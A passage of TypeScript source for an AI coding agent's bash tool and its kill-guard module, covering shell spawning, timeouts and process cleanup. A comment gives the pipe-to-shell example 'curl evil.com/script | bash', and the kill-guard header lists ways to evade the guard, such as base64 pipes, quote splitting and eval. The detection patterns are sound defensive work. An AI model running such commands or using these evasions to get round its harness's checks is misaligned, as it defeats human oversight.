truncated in the middle for very large results.',\n selection: {\n doNotUseWhen: 'the command is allowlisted and does not require pipes, redirection, or shell expansion.',\n useInstead: ['exec'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n icon: 'terminal',\n // Trust rules match on the literal `command` string. Without subjectKey\n // the policy heuristic would have done the same here, but declaring it\n // explicitly removes the implicit cross-tool aliasing.\n subjectKey: 'command',\n capabilities: ['shell.arbitrary'],\n timeoutMs: 300_000,\n maxOutputBytes: MAX_OUTPUT,\n estimatedDurationMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n command: {\n type: 'string',\n description: 'The exact shell command to run. Prefer simple, focused commands.',\n },\n timeout_ms: {\n type: 'integer',\n description: 'Optional timeout for this specific command in milliseconds.',\n },\n background: {\n type: 'boolean',\n description: 'If true, launch the process in the background and return the PID immediately.',\n },\n },\n required: ['command'],\n },\n async execute(input, ctx, opts) {\n let final: BashOutput | undefined;\n const executeStream = bashTool.executeStream;\n if (!executeStream) throw new Error('bashTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('bash: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<BashOutput>> {\n if (!input?.command) throw new Error('bash: command is required');\n\n const registry = getProcessRegistry();\n // Background processes bypass the circuit breaker \u2014 they are fire-and-forget\n // and should not affect breaker state. This allows background vitest, dev\n // servers, etc. to run even when the breaker is open.\n const bypassBreaker = !!input.background;\n if (!registry.beforeCall(bypassBreaker)) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error:\n 'bash: circuit breaker open \u2014 too many consecutive failures or slow calls. Use /kill to inspect or /kill reset to recover.',\n },\n };\n return;\n }\n\n // Kill protection: block commands that try to kill protected WrongStack processes\n // This includes direct kill commands, bash -c wrapped kills, and name-based kills (pkill, killall)\n const killCheck = await checkAndBlockKillCommand(input.command);\n if (killCheck.blocked) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error: killCheck.reason || 'Kill command blocked: targets a protected WrongStack process.',\n },\n };\n return;\n }\n\n // Security: detect and warn about pipe-to-shell patterns that could lead to\n // arbitrary code execution (e.g., \"curl evil.com/script | bash\"). This pattern\n // is particularly dangerous because the user confirms a seemingly innocuous command\n // but the downloaded script executes arbitrary code.\n const PIPE_TO_SHELL_PATTERN = /\\|\\s*(sh|bash|ksh|zsh|fish|cmd|powershell|pwsh)/i;\n if (PIPE_TO_SHELL_PATTERN.test(input.command)) {\n console.warn(JSON.stringify({\n level: 'warn',\n event: 'bash.pipe_to_shell_detected',\n message: 'Detected pipe-to-shell pattern. Consider reviewing the full command before confirming.',\n command_prefix: input.command.slice(0, 100), // Log first 100 chars for review\n timestamp: new Date().toISOString(),\n }));\n }\n\n const timeoutMs = Math.max(1, Math.min(input.timeout_ms ?? DEFAULT_TIMEOUT_MS, 600_000));\n\n const isWin = os.platform() === 'win32';\n // Shell selection:\n // - POSIX: existing behavior \u2014 `WRONGSTACK_SHELL` override, else `$SHELL`\n // if it names an allowlisted shell, else `/bin/bash`. cmd.exe-style\n // semantics don't apply on POSIX.\n // - Windows: delegate to `pickShell`, which honours `WRONGSTACK_SHELL`\n // (when set to cmd|powershell|pwsh), auto-detects PowerShell-style\n // commands (so Codex-style `Get-Content`/`Set-Location`/etc. work\n // without forcing every user to set an env var), and falls back to\n // `cmd.exe` for legacy scripts. The `BashShell` sentinel is then\n // mapped to the actual binary path below.\n //\n // The user-controllable `SHELL` and `COMSPEC` env vars are NOT trusted\n // \u2014 a user (or another agent) could point them at an arbitrary binary on\n // shared systems. Only `WRONGSTACK_SHELL` (and the hard-coded defaults\n // in `_shell-pick.ts` / this block) are honoured.\n type ShellPlan = {\n /** Binary path passed to spawn(). */\n bin: string;\n /** argv prefix (everything except the inline command). */\n argv: readonly string[];\n /** When true, write `input.command` to the child's stdin instead of\n * passing it as an argv. PowerShell uses this because quotes and\n * dollar-signs can break `-Command \"...\"` quoting; `pwsh -Command -`\n * reads the script from stdin verbatim. */\n useStdin: boolean;\n stdinBody: string | undefined;\n };\n let plan: ShellPlan;\n // The resolved Windows shell kind, kept in scope so the post-failure\n // bash-ism diagnosis below can speak the right shell's syntax. undefined on\n // POSIX (no diagnosis there \u2014 bash idioms are correct).\n let winShellKind: BashShell | undefined;\n if (isWin) {\n const shell: BashShell = pickShell('win32', input.command, {\n get: (k) => process.env[k],\n });\n winShellKind = shell;\n // Resolve a sensible default binary. `pickShell` decided the shell\n // kind, but the actual spawn uses a real path:\n // - 'cmd' \u2192 COMSPEC or `cmd.exe`. The user can override\n // via WRONGSTACK_SHELL=cmd (already handled by\n // pickShell).\n // - 'powershell' \u2192 `powershell.exe` (Windows PS 5.1).\n // - 'pwsh' \u2192 `pwsh.exe` (PS 7+) if installed, else fall\n // back to `powershell.exe`. We don't probe the\n // filesystem here; _win32-resolve.ts does the\n // PATHEXT walk at spawn time and surfaces ENOENT\n // cleanly if PowerShell is not installed.\n // `resolvePowerShell` walks PATH/PATHEXT to find the binary (PS 7 is\n // not always on PATH; legacy PS 5.1 is in System32). For 'cmd' we let\n // Node's own PATH search handle COMSPEC \u2014 `cmd.exe` is always on\n // System32 which is in PATH by default.\n const bin =\n shell === 'powershell'\n ? resolvePowerShell('powershell.exe')\n : shell === 'pwsh'\n ? resolvePowerShell('pwsh.exe')\n : process.env['COMSPEC'] ?? 'cmd.exe';\n plan = {\n bin,\n argv: shellArgs(shell),\n useStdin: shell === 'powershell' || shell === 'pwsh',\n stdinBody: (shell === 'powershell' || shell === 'pwsh') ? wrapPowerShellScript(input.command) : undefined,\n };\n } else {\n // POSIX: use WRONGSTACK_SHELL if set; else honor $SHELL only when it\n // names an allowlisted shell (bash/zsh/sh/dash/fish); else /bin/bash.\n const explicit = process.env['WRONGSTACK_SHELL'];\n let bin: string;\n if (explicit) bin = explicit;\n else {\n const fromEnv = process.env['SHELL'];\n if (fromEnv) {\n const name = fromEnv.split('/').pop() ?? '';\n if (['bash', 'zsh', 'sh', 'dash', 'fish'].includes(name)) bin = fromEnv;\n else bin = '/bin/bash';\n } else bin = '/bin/bash';\n }\n plan = { bin, argv: ['-c'], useStdin: false, stdinBody: undefined };\n }\n const shell = plan.bin;\n const args = plan.useStdin ? [...plan.argv] : [...plan.argv, input.command];\n\n const env = buildChildEnv(ctx.session?.id);\n\n // On POSIX we put the shell in its own process group so that timeout /\n // abort can kill the entire group with `process.kill(-pid)`. Otherwise\n // `bash -c \"sleep 9999 & disown\"` would leave the grandchild running.\n // Never on Windows: timeouts tree-kill via taskkill /T instead, and\n // DETACHED_PROCESS would void windowsHide (grandchildren would pop\n // visible console windows \u2014 see the background-mode spawn below).\n const detached = !isWin;\n\n const startedAt = Date.now();\n\n if (input.background) {\n // Background mode is fully detached from the host's output pipes. If\n // stdout/stderr stayed piped, closing the CLI would close the read ends\n // and a later write could terminate the preserved job with EPIPE/SIGPIPE.\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'ignore', 'ignore'],\n // win32: CreateProcess IGNORES CREATE_NO_WINDOW (windowsHide) when\n // DETACHED_PROCESS (detached: true) is set, so the console-less\n // cmd.exe's grandchildren (node, dev servers) each allocate a fresh\n // VISIBLE console window. detached: false lets CREATE_NO_WINDOW\n // apply: the child gets a hidden console that grandchildren inherit.\n // Windows children survive parent exit either way. POSIX keeps\n // detached for the process-group kill semantics.\n detached: !isWin,\n windowsHide: true,\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n const pid = child.pid;\n const stdoutBytes = 0;\n const stderrBytes = 0;\n let telemetryCompleted = false;\n emitProcessStarted({\n ...(pid !== undefined ? { pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${shell} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd: ctx.projectRoot,\n background: true,\n startedAt: new Date(startedAt).toISOString(),\n });\n const completeBackground = (exitCode: number, signal?: string | undefined) => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - startedAt,\n stdoutBytes,\n stderrBytes,\n timedOut: false,\n endedAt: new Date().toISOString(),\n });\n };\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n background: true,\n });\n // Register the close handler on the same tick as spawn() so the\n // handler is guaranteed to be in place before Node's event loop\n // can deliver the close event.\n child.on('close', () => registry.unregister(pid));\n }\n child.on('error', () => {\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, true, bypassBreaker);\n completeBackground(1);\n });\n // The pipe handles would otherwise keep the parent's event loop alive\n // for as long as the background process runs \u2014 child.unref() alone\n // does not release stdio. A one-shot (--print) run could never exit\n // while a background dev server kept its pipes open.\n child.on('close', (code, signal) => {\n registry.afterCall(Date.now() - startedAt, false, bypassBreaker);\n completeBackground(code ?? (signal ? 1 : 0), signal ?? undefined);\n });\n if (typeof pid === 'number') child.unref(); // unref() so the event loop can exit while this background process runs.\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: null,\n timed_out: false,\n pid,\n },\n };\n // P2 #5: record the background launch as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-bg-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command), background: true },\n outcome: `launched (pid ${pid ?? 'unknown'})`,\n risk: 'shell',\n });\n return;\n }\n\n // Foreground mode: pipe stdout/stderr for streaming output.\n // On Windows the abort signal is handled manually below instead of being\n // passed to spawn(): Node's built-in handling kills only the direct\n // child (cmd.exe), which destroys taskkill's parent-pid tree enumeration\n // and orphans the actual command (node/vitest/dev server). The orphan\n // keeps the inherited stdio pipes open and streams into this process\n // for the rest of the session.\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'pipe', 'pipe'],\n detached,\n windowsHide: true,\n ...(isWin ? {} : { signal: opts.signal }),\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n\n // Register with global registry so Ctrl+C / /kill can find and kill it.\n const pid = child.pid;\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let telemetryCompleted = false;\n emitProcessStarted({\n ...(pid !== undefined ? { pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${shell} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd: ctx.projectRoot,\n background: false,\n startedAt: new Date(startedAt).toISOString(),\n });\n const completeForeground = (exitCode: number, signal?: string | undefined) => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - startedAt,\n stdoutBytes,\n stderrBytes,\n timedOut,\n endedAt: new Date().toISOString(),\n });\n };\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n });\n }\n\n let buf = '';\n let pending = '';\n let timedOut = false;\n const timers: NodeJS.Timeout[] = [];\n // Full-output spool: `buf` keeps only the first MAX_OUTPUT bytes for the\n // model; everything else used to be dropped. The spool streams the FULL\n // output to a file once it exceeds the cap, and the final result carries\n // a marker pointing at it \u2014 file-based instead of in-memory/in-context.\n const spool = createOutputSpool({ tool: 'bash', thresholdBytes: MAX_OUTPUT });\n\n function killWithTimeout(\n child: ReturnType<typeof spawn>,\n timeoutMs: number,\n ): void {\n if (isWin) {\n // Let the registry handle Windows tree-kill and its fallback timing.\n // A direct child.kill() before taskkill settles can orphan the real\n // command and leave inherited stdio pipes open.\n if (typeof child.pid === 'number' && child.exitCode === null) {\n const attempted = registry.kill(child.pid, { force: true, graceMs: timeoutMs });\n if (!attempted) {\n try { child.kill(); } catch { /* ignore */ }\n }\n } else {\n try { child.kill(); } catch { /* ignore */ }\n }\n return;\n }\n\n if (typeof child.pid === 'number') {\n registry.kill(child.pid, { graceMs: timeoutMs });\n } else {\n try {\n child.kill('SIGTERM');\n } catch {\n /* ignore */\n }\n const killTimer = setTimeout(() => {\n try {\n child.kill('SIGKILL');\n } catch {\n /* ignore */\n }\n }, timeoutMs);\n timers.push(killTimer);\n killTimer.unref?.();\n }\n }\n\n const timer = setTimeout(() => {\n timedOut = true;\n killWithTimeout(child, 2000);\n }, timeoutMs);\n timers.push(timer);\n timer.unref?.();\n\n // Windows abort handling (see the spawn() comment above): tree-kill on\n // abort while the shell is still alive so its grandchildren die with it.\n const onAbort = () => killWithTimeout(child, 2000);\n if (isWin) {\n if (opts.signal.aborted) onAbort();\n else opts.signal.addEventListener('abort', onAbort, { once: true });\n }\n\n // Bridge the EventEmitter-style child to an async iterator.\n type Chunk =\n | { kind: 'data'; text: string }\n | { kind: 'end'; code: number | null }\n | { kind: 'error'; err: Error };\n const queue: Chunk[] = [];\n let resolveNext: ((c: Chunk) => void) | null = null;\n const push = (c: Chunk) => {\n if (resolveNext) {\n const r = resolveNext;\n resolveNext = null;\n r(c);\n } else {\n queue.push(c);\n }\n };\n const next = (): Promise<Chunk> =>\n new Promise((resolve) => {\n const c = queue.shift();\n if (c) resolve(c);\n else resolveNext = resolve;\n });\n\n let lastFlush = Date.now();\n const flush = () => {\n if (pending.length === 0) return null;\n const text = pending;\n pending = '';\n lastFlush = Date.now();\n return text;\n };\n\n // Backpressure: when the consumer falls behind, pause the pipes instead\n // of letting `queue`/`pending` grow without bound. The child eventually\n // blocks on write, which is the correct pressure signal.\n let paused = false;\n const pauseIfFlooded = () => {\n if (!paused && queue.length >= MAX_QUEUE_CHUNKS) {\n paused = true;\n child.stdout?.pause();\n child.stderr?.pause();\n }\n };\n const resumeIfDrained = () => {\n if (paused && queue.length < MAX_QUEUE_CHUNKS) {\n paused = false;\n child.stdout?.resume();\n child.stderr?.resume();\n }\n };\n const onData = (chunk: Buffer, stream: 'stdout' | 'stderr') => {\n const text = chunk.toString();\n if (stream === 'stdout') stdoutBytes += chunk.byteLength;\n else stderrBytes += chunk.byteLength;\n emitProcessOutput({ pid, stream, chunk });\n // Cap buf during accumulation to prevent heap exhaustion from unbounded\n // string growth. exec.ts uses the same pattern. The final output is\n // further normalized via normalizeCommandOutput which already caps at\n // MAX_OUTPUT (32 KB). The spool captures the FULL output on disk.\n if (buf.length < MAX_OUTPUT) {\n buf += text.slice(0, MAX_OUTPUT - buf.length);\n }\n spool.write(text);\n pending += text;\n push({ kind: 'data', text });\n pauseIfFlooded();\n };\n const onStdoutData = (chunk: Buffer) => onData(chunk, 'stdout');\n const onStderrData = (chunk: Buffer) => onData(chunk, 'stderr');\n child.stdout?.on('data', onStdoutData);\n child.stderr?.on('data', onStderrData);\n\n child.on('error', (err) => {\n for (const t of timers) clearTimeout(t);\n registry.afterCall(Date.now() - startedAt, true);\n completeForeground(1);\n push({ kind: 'error', err });\n });\n child.on('close', (code, signal) => {\n for (const t of timers) clearTimeout(t);\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, code !== 0 && code !== null);\n completeForeground(timedOut ? 124 : (code ?? (signal ? 1 : 0)), signal ?? undefined);\n push({ kind: 'end', code });\n });\n\n try {\n while (true) {\n const c = await next();\n resumeIfDrained();\n if (c.kind === 'error') throw c.err;\n if (c.kind === 'end') {\n const remainder = flush();\n if (remainder !== null) {\n yield { type: 'partial_output', text: remainder };\n }\n const spooled = spool.finalize();\n // Advisory bash-ism guard: on a genuine non-zero exit (not a\n // timeout), if the command used POSIX syntax the resolved Windows\n // shell can't accept, append a targeted hint so the model rewrites it\n // next turn. Never mutates/blocks; silent on success and on POSIX.\n const hint =\n !timedOut && typeof c.code === 'number' && c.code !== 0 && winShellKind\n ? diagnoseBashism(input.command, winShellKind)\n : undefined;\n yield {\n type: 'final',\n output: {\n output:\n normalizeCommandOutput(buf) +\n (spooled ? spoolNote(spooled) : '') +\n (hint ? `\\n\\n${hint}` : ''),\n exit_code: c.code,\n timed_out: timedOut,\n },\n };\n // P2 #5: record the command execution as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command) },\n outcome: timedOut\n ? `timed out (exit ${c.code})`\n : `exit ${c.code}`,\n risk: 'shell',\n });\n return;\n }\n const now = Date.now();\n if (pending.length >= STREAM_FLUSH_BYTES || now - lastFlush >= STREAM_FLUSH_INTERVAL_MS) {\n const text = flush();\n if (text) yield { type: 'partial_output', text };\n }\n }\n } finally {\n for (const t of timers) clearTimeout(t);\n spool.finalize(); // idempotent \u2014 closes the file if the stream was abandoned\n if (isWin) opts.signal.removeEventListener('abort', onAbort);\n // Teardown: this generator can be abandoned mid-stream (executor\n // timeout, abort, consumer error). The data handlers above would\n // otherwise stay attached and keep appending to `pending`/`queue`\n // with no consumer \u2014 on Windows a shell grandchild that survived\n // child.kill() can feed the orphaned pipes for the rest of the\n // session, growing the host heap until OOM. Detach the handlers,\n // destroy the pipes, and make sure nothing is still running.\n child.stdout?.off('data', onStdoutData);\n child.stderr?.off('data', onStderrData);\n child.stdout?.destroy();\n child.stderr?.destroy();\n if (child.exitCode === null && !child.killed) {\n if (typeof pid === 'number') registry.kill(pid, { force: true });\n else killWithTimeout(child, 2000);\n }\n }\n },\n\n /**\n * Tool-level teardown fired by `ToolExecutor.runToolCleanup()` when the\n * tool's run is aborted/timeout'd. The generator's `finally` block above\n * already force-kills the direct child, but that only runs if the\n * executor closes the async iterator (via `iter.return()`). When the\n * executor tears down without iterating \u2014 or a re-entrant abort races\n * with the generator \u2014 a bash-spawned process tree can survive in the\n * ProcessRegistry with `killed === false`, continuing to write files,\n * consume CPU, or hold inherited stdio pipes open for the rest of the\n * session.\n *\n * This is the defensive layer the executor calls via `tool.cleanup()`\n * (see `types/tool.ts`): kill every bash-owned process still tracked\n * for this session that hasn't exited yet. `registry.kill()` already\n * handles process-group / taskkill tree-kill and the SIGTERM\u2192SIGKILL\n * grace window, so this just scopes the registry's existing kill path\n * to \"this session's runaway bash children\". Idempotent \u2014 a process\n * that already exited is skipped by `kill()` (it returns false), and a\n * `protected` infrastructure process (dev server the user intentionally\n * backgrounded) is left alone by design.\n */\n async cleanup(_input: BashInput, ctx: Context): Promise<void> {\n const registry = getProcessRegistry();\n const sessionId = ctx.session?.id;\n if (!sessionId) return;\n for (const entry of registry.bySession(sessionId)) {\n if (entry.name !== 'bash') continue; // leave exec-spawned children alone\n if (entry.child.exitCode !== null) continue; // already reaped\n if (entry.background) continue; // detached jobs intentionally outlive the run/session\n if (entry.protected) continue; // intentionally-backgrounded infra\n registry.kill(entry.pid, { force: true });\n }\n },\n};\n\n// Re-export types so consumers can narrow on stream events.\nexport type { BashInput, BashOutput };\n", "/**\n * Re-exported from @wrongstack/core. This file exists for backward\n * compatibility \u2014 tools/src/bash.ts and exec.ts import './_env.js'.\n */\nexport { buildChildEnv } from '@wrongstack/core/utils';\n", "/**\n * Bash Kill Guard \u2014 Intercepts bash kill commands and prevents them from\n * terminating WrongStack processes (either the agent itself or child processes\n * it has spawned).\n *\n * This module hooks into the bash tool's command parsing to detect and block\n * dangerous kill commands targeting protected PIDs.\n *\n * Handles:\n * - Direct kill commands: kill -9 12345\n * - Shell -c wrapped: bash -c \"kill -9 12345\" (any shell path \u2014 see P2 #10)\n * - Full path kills: /bin/kill -9 12345\n * - Name-based kills: pkill, killall, pgrep\n * - Windows equivalents: taskkill, tskill\n * - PowerShell Stop-Process / kill alias: Stop-Process -Name node, kill -Id 12345\n * - WMIC process termination: wmic process where \"name='node.exe'\" delete\n * - Script-based kill (script is named kill*.sh, kill*.ps1, kill*.bat)\n *\n * Security contract: every \"Handles\" bullet must map to both a detector\n * AND a block path in isKillRelatedCommand + parseKillCommand + isKillProtected.\n * Script-based kills are blocked conservatively (can't inspect script content).\n *\n * Known bypasses (NOT handled \u2014 this is a static regex parser, not a shell):\n * Static analysis of shell strings is inherently defeatable by obfuscation.\n * This guard is one defense-in-depth layer behind the permission policy and\n * the project-escape checks, not the sole gate. Treat a miss here as expected,\n * not as a hole to plug with ever-more-clever regexes. The patterns below are\n * known to evade detection:\n * - Base64 / decode pipes: `echo bCAtOSAxMjM0NQ== | base64 -d | sh`\n * - Variable indirection: `sig=-9; target=12345; kill $sig $target`\n * - Command substitution: `$(printf kill) -9 12345`\n * - String concatenation / quote-splitting: `ki''ll -9 12345`, `k\"i\"ll 12345`\n * - Aliases and functions: `alias x=kill; x -9 12345`\n * - eval / source: `eval \"ki\"\"ll -9 12345\"`\n * - node -e eval: `node -e \"process.kill(12345)\"` (handled by exec-kill-guard.ts)\n * - Scripts not named kill/terminate/stop*: `runkill.sh`, `/tmp/cleanup.bat`\n *\n * Mitigation: rely on the permission policy (confirm/deny gate) and YOLO\n * destructive detection as the primary controls; this guard is a best-effort\n * fast path for the common non-obfuscated forms.\n */\n\nimport * as os from 'node:os';\nimport {\n getPersistentProcessRegistry,\n type PersistentProcessEntry,\n} from './process-registry-persistent.js';\n\nconst isWin = os.platform() === 'win32';\n\n/** Shared regex: scripts named kill/terminate/stop*.ps1|bat|cmd|sh. */\nconst SCRIPT_KILL_RE = /^(?:\\.\\\\|\\.\\/)?(?:kill|terminate|stop)\\S*\\.(?:ps1|bat|cmd|sh)(?:\\s|$)/i;\n/** Shared regex: POSIX-only .sh script variant. */\nconst SCRIPT_KILL_RE_POSIX = /^(?:\\.\\/)?(?:kill|terminate|stop)\\S*\\.sh(?:\\s|$)/i;\n/**\n * Fallback broad check: used in checkAndBlockKillCommand when the parsed\n * kill struct doesn't carry a PID or name, as a last-resort block for\n * unparseable but suspicious script filenames.\n */\nconst SCRIPT_KILL_FALLBACK_RE = /^\\S*(?:kill|terminate|stop)\\S*\\.(?:ps1|bat|cmd|sh)\\b/i;\n\nexport interface KillCommand {\n pid?: number;\n name?: string;\n signal?: string;\n isGroupKill: boolean;\n isAllKill: boolean;\n originalCommand: string;\n}\n\nexport interface KillCheckResult {\n blocked: boolean;\n reason?: string;\n}\n\n/**\n * Extract the actual kill command from a shell-wrapped command.\n * e.g., \"bash -c 'kill -9 12345'\" -> \"kill -9 12345\"\n * e.g., \"/bin/bash -c \\\"pkill node\\\"\" -> \"pkill node\"\n *\n * P2 #10 (before-release.md): the path pattern now matches any executable\n * followed by `-c`, not just `/bin` and `/usr/bin`. Real systems often have\n * bash at `/usr/local/bin/bash`, `/opt/homebrew/bin/bash`, or invoke it via\n * `/usr/bin/env bash`. Previously these bypassed the guard entirely.\n */\nfunction extractKillCommand(command: string): string | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // Pattern: <any executable path or name> -c \"kill ...\" or 'kill ...'\n // Matches /bin/bash, /usr/local/bin/bash, /opt/homebrew/bin/bash,\n // /usr/bin/env bash, plain bash/sh/zsh, etc. The executable is any run of\n // non-whitespace, optionally followed by a space and a second token (for\n // the `/usr/bin/env bash` form) before `-c`.\n const shellCMatch = normalized.match(/^.+?\\s+-c\\s+(['\"])([\\s\\S]+)\\1$/);\n if (shellCMatch?.[2]) {\n const inner = shellCMatch[2].trim();\n // Recursively check the inner command\n return isKillRelatedCommand(inner) ? inner : null;\n }\n\n // Pattern: <executable> -c kill -9 12345 (without quotes)\n const shellCUnquoted = normalized.match(\n /^.+?\\s+-c\\s+(kill(?:\\s+-s\\s+[a-zA-Z0-9]+|\\s+-[a-zA-Z0-9]+)?\\s+\\d+)$/,\n );\n if (shellCUnquoted?.[1]) {\n return shellCUnquoted[1];\n }\n\n return null;\n}\n\n/**\n * Check if a command string is kill-related (for filtering).\n */\nfunction isKillRelatedCommand(cmd: string): boolean {\n const normalized = cmd.toLowerCase().replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): filter by platform so each platform only\n // checks the kill commands it can actually encounter. On Windows, POSIX\n // kill/pkill/killall are dead code (they don't exist on cmd.exe/pwsh); on\n // POSIX, taskkill/tskill are dead code. This lets a single test suite\n // pass on both platforms without platform-conditional assertions.\n if (isWin) {\n // Windows taskkill\n if (/^taskkill\\s/i.test(normalized)) return true;\n // Windows tskill\n if (/^tskill\\s/i.test(normalized)) return true;\n // PowerShell Stop-Process and its aliases (kill, stop)\n if (/^(stop-process|kill|stop)\\s/i.test(normalized)) return true;\n // WMIC process termination: wmic process where ... delete\n if (/^wmic\\s+process\\s/i.test(normalized) && /\\bdelete\\b/i.test(normalized)) return true;\n // Scripts named kill*, terminate*, stop* .ps1, .bat, .cmd, .sh (with or without args)\n if (SCRIPT_KILL_RE.test(normalized)) return true;\n return false;\n }\n\n // POSIX\n // Direct kill commands\n if (/^kill(\\s|$)/.test(normalized)) return true;\n\n // Name-based kills\n if (/^(pkill|killall|pgrep|skill)\\s/.test(normalized)) return true;\n\n // Process-related commands that might target specific PIDs\n if (/^\\/proc\\/\\d+\\/(?:kill|fd)/.test(normalized)) return true;\n\n // Scripts named kill*, terminate*, stop* .sh (with or without args)\n if (SCRIPT_KILL_RE_POSIX.test(normalized)) return true;\n\n return false;\n}\n\n/**\n * Parse a kill command string to extract PID and signal.\n */\nexport function parseKillCommand(command: string): KillCommand | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): skip platform-specific commands that cannot\n // run here. Windows still accepts the common POSIX `kill` forms because\n // Git Bash/WSL can invoke them; only pkill/killall/pgrep remain POSIX-only.\n if (isWin) {\n const hasTaskkillForce = /(?:^|\\s)\\/F(?=\\s|$)/i.test(normalized);\n\n // \u2500\u2500 taskkill /PID 1234 or taskkill /F /PID 1234 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // Locate the target independently of flag order/arguments (`/T`, `/FI ...`).\n // Shell control operators stay unparsed so the conservative pipeline path runs.\n const isSimpleTaskkill = /^taskkill\\s+/i.test(normalized) && !/[|&<>]/.test(normalized);\n const taskkillPidMatch = isSimpleTaskkill\n ? normalized.match(/(?:^|\\s)\\/PID\\s+(\\d+)(?=\\s|$)/i)\n : null;\n if (taskkillPidMatch?.[1]) {\n return {\n pid: parseInt(taskkillPidMatch[1], 10),\n signal: hasTaskkillForce ? 'FORCE' : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 taskkill /F /IM node.exe (image-name-based broad kill) \u2500\u2500\u2500\u2500\u2500\u2500\n const taskkillImMatch = isSimpleTaskkill\n ? normalized.match(/(?:^|\\s)\\/IM\\s+([^\\s/]+)(?=\\s|$)/i)\n : null;\n if (taskkillImMatch?.[1]) {\n return {\n name: taskkillImMatch[1],\n signal: hasTaskkillForce ? 'FORCE' : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 taskkill /FI \"IMAGENAME eq node.exe\" (filter-based name kill) \u2500\u2500\n // /FI uses a quoted filter string instead of /IM. Extract the process\n // name after the `IMAGENAME eq` clause \u2014 the most common taskkill filter.\n const taskkillFiMatch = isSimpleTaskkill\n ? normalized.match(/(?:^|\\s)\\/FI\\s+\"IMAGENAME\\s+eq\\s+([^\"]+)\"(?=\\s|$)/i)\n : null;\n if (taskkillFiMatch?.[1]) {\n return {\n name: taskkillFiMatch[1],\n signal: hasTaskkillForce ? 'FORCE' : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 tskill PID \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const tskillMatch = normalized.match(/^tskill\\s+(\\d+)/i);\n if (tskillMatch?.[1]) {\n return {\n pid: parseInt(tskillMatch[1], 10),\n signal: 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 PowerShell Stop-Process -Id 1234 / kill -Id 1234 